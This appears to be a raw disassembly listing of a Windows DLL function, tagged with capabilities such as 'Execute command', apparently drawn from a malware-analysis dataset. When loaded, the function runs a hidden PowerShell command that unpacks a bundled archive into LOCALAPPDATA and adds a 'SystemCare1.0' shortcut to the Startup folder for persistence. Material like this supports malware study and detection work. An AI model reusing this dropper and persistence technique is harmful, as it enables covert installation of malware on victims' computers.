Function at 0x1800011c0
Capabilities:
Check if file exists
Execute command
Get common file path
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x468]
sub rsp, 0x540
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x420], rax
xor r12d, r12d
cmp edx, 1
jne 0x180001959
mov r8d, 0x104
lea rdx, [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], r12
lea rax, [rbp + 0x100]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x180001240
lea rdx, [rbp + 0x100]
lea rcx, [rbp - 0x68]
call fcn.180001a80
nop
lea rdi, [rbp - 0x68]
mov r14, qword [rbp - 0x68]
mov r15, qword [rbp - 0x50]
cmp r15, 0xf
cmova rdi, r14
mov rsi, qword [rbp - 0x58]
test rsi, rsi
je 0x1800012e0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rax
mov dword [rbp + 0x58], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0x5d]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x5c], 1
lea rax, [rsi - 1]
mov r8, rbx
cmp rax, rbx
cmovb r8, rax
add r8, rdi
movzx eax, byte [r8]
cmp byte [rbp + rax], 0
jne 0x1800012db
cmp r8, rdi
je 0x1800012e0
dec r8
movzx eax, byte [r8]
cmp byte [rbp + rax], 0
je 0x1800012c8
sub r8, rdi
jmp 0x1800012e3
mov r8, rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x10], r12
cmp rsi, r8
cmovb r8, rsi
lea rdx, [rbp - 0x68]
cmp r15, 0xf
cmova rdx, r14
lea rcx, [rbp - 0x28]
call fcn.180001a80
nop
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov r13, qword [rbp - 0x10]
mov rsi, qword [rbp - 0x28]
test eax, eax
jne 0x1800018e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rax, [rbp + 0x210]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x180001356
movabs r14, 0x7ffffffffffffffe
cmp rbx, r14
ja 0x18000199f
mov ecx, 0xa
movabs r15, 0x7fffffffffffffff
cmp rbx, 7
ja 0x1800013b8
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 7
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x210]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov word [rsp + rbx + 0x30], r12w
jmp 0x180001452
mov rax, rbx
or rax, 7
cmp rax, r14
jbe 0x1800013f9
lea rcx, [r15 + r15]
cmp rcx, 0x1000
jb 0x180001421
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180001993
mov rcx, rax
call fcn.180001f34
test rax, rax
je 0x18000141a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x180001429
mov r14, rax
cmp rax, rcx
cmovb r14, rcx
lea rcx, [r14 + 1]
cmp rcx, r15
ja 0x180001993
add rcx, rcx
jne 0x1800013c8
mov rdi, r12
jmp 0x180001429
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180001f34
mov rdi, rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], r14
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x210]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rdi], r12w
mov rdi, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, rdi
cmp rax, 5
jb 0x1800014a3
lea rax, [rdi + 5]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rcx, 7
cmova rbx, qword [rsp + 0x30]
lea rcx, [rbx + rdi*2]
mov r8d, 0xa
lea rdx, str.File
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0xa], r12w
lea rax, [rsp + 0x30]
jmp 0x1800014bb
mov qword [rsp + 0x20], 5
mov edx, 5
lea rcx, [rsp + 0x30]
call fcn.180001d10
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x180001530
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000152b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000152b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180001f00
movdqa xmm6, xmmword [0x1800034e0]
movdqu xmmword [rsp + 0x40], xmm6
mov word [rsp + 0x30], r12w
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 7
cmova rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18000163f
test al, 0x10
je 0x18000163f
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x1800015b4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800015a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800018d3
call fcn.180001f00
movdqa xmm6, xmmword [0x1800034e0]
movdqu xmmword [rbp - 0x78], xmm6
mov word [rsp + 0x78], r12w
cmp r13, 0xf
jbe 0x1800015fa
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1800015f1
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800015f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.180001f00
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x180001959
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001954
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001954
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rax, r15
mov r14, qword [rbp - 0x18]
sub rax, r14
cmp rax, 0x38
jb 0x1800019a5
lea r12, [rbp - 0x28]
cmp r13, 0xf
cmova r12, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea r15, [r14 + 0x38]
mov ebx, 0xf
lea rdi, [rsp + 0x50]
cmp r15, rbx
jbe 0x18000170b
mov rbx, r15
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x1800016cd
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180001f34
test rax, rax
je 0x18000182c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x180001706
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1800016e6
xor edi, edi
jmp 0x180001706
cmp rcx, 0x1000
jb 0x1800016fe
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180001999
jmp 0x1800016ae
call fcn.180001f34
mov rdi, rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], rbx
movups xmm0, xmmword [str.powershell.exe__WindowStyle_Hidden__Command__Copy_Item_]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x1800034b0]
movups xmmword [rdi + 0x10], xmm1
movups xmm0, xmmword [0x1800034c0]
movups xmmword [rdi + 0x20], xmm0
movsd xmm0, qword [0x1800034d0]
movsd qword [rdi + 0x30], xmm0
lea rcx, [rdi + 0x38]
mov r8, r14
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r15], 0
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 0x1c9
jb 0x1800017af
lea rax, [rcx + 0x1c9]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x50]
add rbx, rcx
mov r8d, 0x1c9
lea rdx, str._resource__Destination__env:LOCALAPPDATA_resource.zip__Expand_Archive__env:LOCALAPPDATA_resource.zip__DestinationPath__env:LOCALAPPDATA__Remove_Item__env:LOCALAPPDATA_resource.zip___s__New_Object__ComObject_WScript.Shell___sc___s.CreateShortcut__System.IO.Path_::Combine__env:APPDATA__MicrosoftWindowsStart_MenuProgramsStartupSystemCare1.0.lnk_____sc.TargetPath___System.IO.Path_::Combine__env:LOCALAPPDATA__FileSystemCare1.0.exe____sc.Save___
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x1c9], 0
lea rax, [rsp + 0x50]
jmp 0x1800017c7
mov qword [rsp + 0x20], 0x1c9
mov edx, 0x1c9
lea rcx, [rsp + 0x50]
call fcn.180001b80
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x180001838
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001833
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001833
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180001f00
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rcx, qword [rbp - 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x18000188a
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001885
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001885
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180001f00
movdqa xmm0, xmmword [0x1800034f0]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x1800018e0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800018da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800018da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180001f00
nop
cmp r13, 0xf
jbe 0x18000191b
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180001912
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001912
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.180001f00
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x180001959
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001954
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001954
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180001f00
mov eax, 1
mov rcx, qword [rbp + 0x420]
xor rcx, rsp
call fcn.180001ee0
lea r11, [rsp + 0x540]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180001100
nop
call fcn.180001100
nop
call fcn.1800011a0
nop
call fcn.1800011a0
int3